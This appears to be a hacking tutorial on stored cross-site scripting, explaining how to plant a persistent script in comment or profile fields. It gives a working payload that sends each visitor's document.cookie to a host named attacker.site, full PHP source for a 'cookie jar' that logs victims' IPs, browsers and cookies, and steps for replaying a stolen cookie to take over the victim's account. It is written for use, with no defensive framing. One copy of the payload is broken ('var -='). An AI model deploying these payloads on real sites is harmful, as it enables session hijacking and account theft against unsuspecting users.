Stored

Stored XSS is very similar to reflected XSS except now the user input meant to exploit the validation is persistent to the site as it does not disapear on a page reload or can be seen cross session depending on its placement. Typically this would be comment fields, about me sections, etc.

Stored XSS is more valuable than reflected because there is no tricking of the target user to navigate to our crafted link. Rather it is now stored and users will navigate to the page and trigger it. Of course you can still coerce a user to the page if you are in a hurry.

Overview:

The xss injection to store on the site is as follows. You don't have to use the image variable. You can do things like onload or a similar trigger. But this will try to grab the image from the attacking site, however it will do so by sending you the users cookie. If you want to be stealthy you can then also serve up the needed image. <script> var i = new Image(); i.src="http://attacker.site/get.php?cookie="+escape(document.cookie)</script> Then anyone who visits the page should send you their cookie session info. Now if you overwrite your cookie with another cookie you can then reload the page as that user.

Example cookie adding with firebug:

Then reload the page and your user should change to the vic.

Cookie stealing in depth:

Save this publicly/route-able somewhere. We will call this domain attacker.site . This file works by saving any parameter info to the jar.txt file.

get.php

<?php
$ip = $_SERVER['REMOTE ADDR'];
$browser = $_SERVER['HTTP_USER_AGENT'];
$fp = fopen('jar.txt', 'a');
fwrite($fp, $ip.' '.$browser." \n");
fwrite($fp, urldecode($_SERVER['QUERY_STRING']). " \n\n");
fclose($fp);
?>

We can test the script

should see "hereismydata" in jar.txt

Then the attack we want to store in the site:

<script> var -=new Image(); i.src="http://attacker.site/get.php?cookie="+escape(document.cookie)</script>

You should now see the cookies appearing in your cookie jar file as users navigate to the page.